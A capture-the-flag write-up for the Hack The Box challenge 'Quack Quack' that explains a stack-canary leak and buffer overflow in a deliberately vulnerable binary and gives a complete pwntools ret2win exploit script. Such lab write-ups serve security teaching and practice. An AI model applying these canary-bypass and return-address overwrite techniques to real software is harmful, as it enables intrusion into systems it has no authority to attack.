HTB: Cyber Apocalypse 2025 — Quack Quack
Difficulty: Easy
Description
On the quest to reclaim the Dragon’s Heart, the wicked Lord Malakar has cursed the villagers, turning them into ducks! Join Sir Alaric in finding a way to defeat them without causing harm. Quack Quack, it’s time to face the Duck!
Protection (checksec)
$ checksec
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
Disassembly (ghidra)

In this function, there is a read where we should put “Quack Quack “ somewhere to bypass the first check. Because of strstr(), it does not matter where.
In the next section, the printf() will print the string after the “Quack Quack “ by shifting 30 bytes. If we place it in the right position, it will print out the stack canary.
Finally, we can read another text that can override the whole stack, the canary, the base pointer, and even the return address.

As we have a win function called duck_attack(), we can put its address to the place of return address.
Exploitation
- Write the right amount of garbage (89 bytes of ‘A’) followed by the ‘Quack Quack ‘
- Read the value of the canary
- Write the right amount of garbage (88 bytes of ‘B’) followed by the canary followed by some garbage (8 bytes of ‘C’) followed by the address of duck_attack()
Solution (pwntools)
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated by Sigee via:
# $ pwn template --template template.mako --host 10.10.10.10 --port 1337 ./quack_quack
from pwn import *
# Set up pwntools for the correct architecture
exe = context.binary = ELF(args.EXE or './quack_quack')
context(terminal=['tmux', 'split-window', '-h'])
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable
host = args.HOST or '10.10.10.10'
port = int(args.PORT or 1337)
def start_local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
def start_remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.REMOTE:
return start_remote(argv, *a, **kw)
else:
return start_local(argv, *a, **kw)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
init-gef
b *main
continue
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Full RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
# RUNPATH: b'./glibc/'
io = start()
io.recvuntil(b'Quack Quack ')
io.clean()
first_offset = 89
io.sendline(b'A' * first_offset + b'Quack Quack ')
io.recvuntil(b'Quack Quack ')
canary_leek = u64(io.recv(7).rjust(8, b"\x00"))
info(f'{hex(canary_leek)=}')
duck_attack_address = exe.symbols.get('duck_attack')
io.recv()
second_offset = 88
io.sendline(b'B' * second_offset + p64(canary_leek) + b'C' * 8 + p64(duck_attack_address))
io.recvuntil(b'against a Duck?!\n\n')
warning('Flag: ' + io.recv().decode('utf-8'))
io.interactive()
Skills Learned
- leaking information (canary)
- buffer overflow
- ret2win
- bypass canary